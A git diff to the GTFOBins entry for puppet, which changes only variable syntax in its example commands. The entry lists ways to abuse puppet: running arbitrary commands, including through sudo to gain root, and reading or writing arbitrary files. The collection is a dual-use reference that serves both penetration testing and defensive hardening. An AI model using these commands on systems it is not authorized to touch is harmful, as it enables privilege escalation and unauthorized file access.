diff --git a/_gtfobins/puppet.md b/_gtfobins/puppet.md
index e8f553f..6370cef 100644
--- a/_gtfobins/puppet.md
+++ b/_gtfobins/puppet.md
@@ -4,20 +4,20 @@ functions:
     - description: The executed command output is not shown and can be redirected to a file.
       code: |
         export CMD="/usr/bin/id"
-        puppet apply -e "exec { '${CMD}': }"
+        puppet apply -e "exec { '$CMD': }"
   sudo-enabled:
     - description: The executed command output is not shown and can be redirected to a file.
       code: |
         export CMD="/usr/bin/id"
-        sudo puppet apply -e "exec { '${CMD}': }"
+        sudo puppet apply -e "exec { '$CMD': }"
   file-read:
     - description: The read file content is corrupted by the `diff` output format.
       code: |
         export LFILE=file_to_read
-        puppet filebucket -l diff /dev/null ${LFILE}
+        puppet filebucket -l diff /dev/null $LFILE
   file-write:
     - description: The file path must be absolute.
       code: |
         export LFILE="/tmp/file_to_write"
-        puppet apply -e "file { '${LFILE}': content => 'data' }"
+        puppet apply -e "file { '$LFILE': content => 'data' }"
 ---